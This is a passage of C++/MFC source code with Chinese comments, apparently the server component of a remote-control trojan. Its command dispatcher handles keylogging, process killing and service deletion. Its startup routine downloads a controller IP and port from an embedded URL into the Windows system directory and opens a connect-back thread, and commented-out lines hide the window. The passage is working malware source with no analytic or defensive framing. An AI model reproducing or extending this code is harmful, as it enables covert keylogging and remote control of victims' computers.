  725. case CMD_VIDEO_MANAGE:
  726. goto Loop01;
  727. case CMD_KEYLOG_MANAGE:
  728. cmd_keylog();
  729. goto Loop01;
  730. case CMD_PROCESS_KILL:
  731. cmd_proc_kill(s,m_command.DataSize);
  732. goto Loop01;
  733. case CMD_SERVICE_DEL:
  734. cmd_service_kill(s,m_command.tmp);
  735. goto Loop01;
  736. }
  737. }
  738. exit02:
  739.     goto retry;
  740. exit01:
  741. return 0;
  742. }
  743. //////////////////////////////////////////////////////////////////////////
  744. CMyServerDlg::CMyServerDlg(CWnd* pParent /*=NULL*/)
  745. : CDialog(CMyServerDlg::IDD, pParent)
  746. {
  747. //{{AFX_DATA_INIT(CMyServerDlg)
  748. //}}AFX_DATA_INIT
  749. // Note that LoadIcon does not require a subsequent DestroyIcon in Win32
  750. //m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
  751. }
  752. void CMyServerDlg::DoDataExchange(CDataExchange* pDX)
  753. {
  754. CDialog::DoDataExchange(pDX);
  755. //{{AFX_DATA_MAP(CMyServerDlg)
  756. //DDX_Control(pDX, IDC_BUTTON_START, m_btn_start);
  757. //}}AFX_DATA_MAP
  758. }
  759. BEGIN_MESSAGE_MAP(CMyServerDlg, CDialog)
  760. //{{AFX_MSG_MAP(CMyServerDlg)
  761. ON_WM_PAINT()
  762. ON_WM_QUERYDRAGICON()
  763. //}}AFX_MSG_MAP
  764. END_MESSAGE_MAP()
  765. /////////////////////////////////////////////////////////////////////////////
  766. // CMyServerDlg message handlers
  767. DWORD  dw_thread = 0 ;
  768. //static UINT count = 1;
  769. //HANDLE  hThread[1];
  770. UINT m_timerID1;
  771. UINT i=0;
  772. BOOL CMyServerDlg::OnInitDialog()
  773. {
  774. CDialog::OnInitDialog();
  775. hThread[0]=NULL;
  776. hThread[1]=NULL;
  777. //PostMessage(WM_SHOWWINDOW,FALSE,SW_PARENTOPENING);   
  778. //////////////////////////////////////////////////////////////////////////
  779. //  
  780. //////////////////////////////////////////////////////////////////////////
  781. //ShowWindow(hWnd,SW_HIDE);
  782.     //this->ShowWindow(SW_HIDE);
  783. //////////////////////////////////////////////////////////////////////////
  784. //(1)读取程序本身url 解析
  785. char seps[]= "/";
  786. char *token;
  787. char myURL[MAX_PATH] ={0};
  788. char myFILE[MAX_PATH] = {0};
  789. char tmp[MAX_PATH] ={0};
  790. strcpy(tmp, strchr(modify_data.url,':')+1);
  791. token=strtok(tmp,seps);
  792. strcpy(myURL,token);
  793. char SysPath[MAX_PATH]={0};//系统路径,包括文件名
  794. GetSystemDirectory(SysPath,MAX_PATH);
  795.         strcat(SysPath,"\lplist.txt");
  796. strcpy(tmp, strchr(modify_data.url,':')+3);
  797. TCHAR   *pos=strchr(tmp,'/');
  798. //tmp[pos-tmp]=0;
  799. strcpy(myFILE,pos);
  800.         HttpGetFile(myURL,myFILE,SysPath);
  801. //////////////////////////////////////////////////////////////////////////
  802. //分析文件 解析文件 把IP地址和端口分离出来
  803. //////////////////////////////////////////////////////////////////////////
  804.     char  buf[1024]={0};
  805. DWORD ReadSize = 0;
  806. char tmp1[MAX_PATH]={0};
  807. char port[MAX_PATH]={0};
  808. char ip[MAX_PATH]={0};
  809. HANDLE hFile = CreateFile(SysPath,
  810.   GENERIC_READ,
  811.           FILE_SHARE_READ,
  812.           NULL,
  813.           OPEN_EXISTING,
  814.           FILE_ATTRIBUTE_NORMAL,
  815.           NULL);
  816. if (hFile)
  817. {
  818. BOOL bRead = ReadFile(hFile,buf,1024,&ReadSize,NULL);
  819. if (bRead)
  820. {
  821. strcpy(tmp1,buf);
  822. strcpy(port,buf);
  823. TCHAR   *pos=strrchr(tmp1,':');
  824. strcpy(port,pos+1);
  825. tmp1[pos-tmp1]=0;
  826.  
  827. strcpy(ip,tmp1);
  828. }
  829. }
  830. //////////////////////////////////////////////////////////////////////////
  831. // 把读取的ip和端口赋值
  832. //////////////////////////////////////////////////////////////////////////
  833.     m_linkinfo.BindPort  = atoi(port) ;
  834. m_linkinfo.strBindIp = ip;
  835.     i=0;
  836.     hThread[i] = CreateThread(NULL,0,MyClientThread,(LPVOID)&m_linkinfo,0,&dw_thread);
  837. return TRUE;  // return TRUE  unless you set the focus to a control
  838. }
  839. // If you add a minimize button to your dialog, you will need the code below
  840. //  to draw the icon.  For MFC applications using the document/view model,
  841. //  this is automatically done for you by the framework.
  842. void CMyServerDlg::OnPaint() 
  843. {
  844. if (IsIconic())
  845. {
  846. CPaintDC dc(this); // device context for painting
  847. SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
  848. // Center icon in client rectangle
  849. int cxIcon = GetSystemMetrics(SM_CXICON);
  850. int cyIcon = GetSystemMetrics(SM_CYICON);
  851. CRect rect;
  852. GetClientRect(&rect);
  853. int x = (rect.Width() - cxIcon + 1) / 2;
  854. int y = (rect.Height() - cyIcon + 1) / 2;
  855. // Draw the icon
  856. dc.DrawIcon(x, y, m_hIcon);
  857. }
  858. else
  859. {
  860. CDialog::OnPaint();
  861. }
  862. }
  863. // The system calls this to obtain the cursor to display while the user drags
  864. //  the minimized window.
  865. HCURSOR CMyServerDlg::OnQueryDragIcon()
  866. {
  867. return (HCURSOR) m_hIcon;
  868. }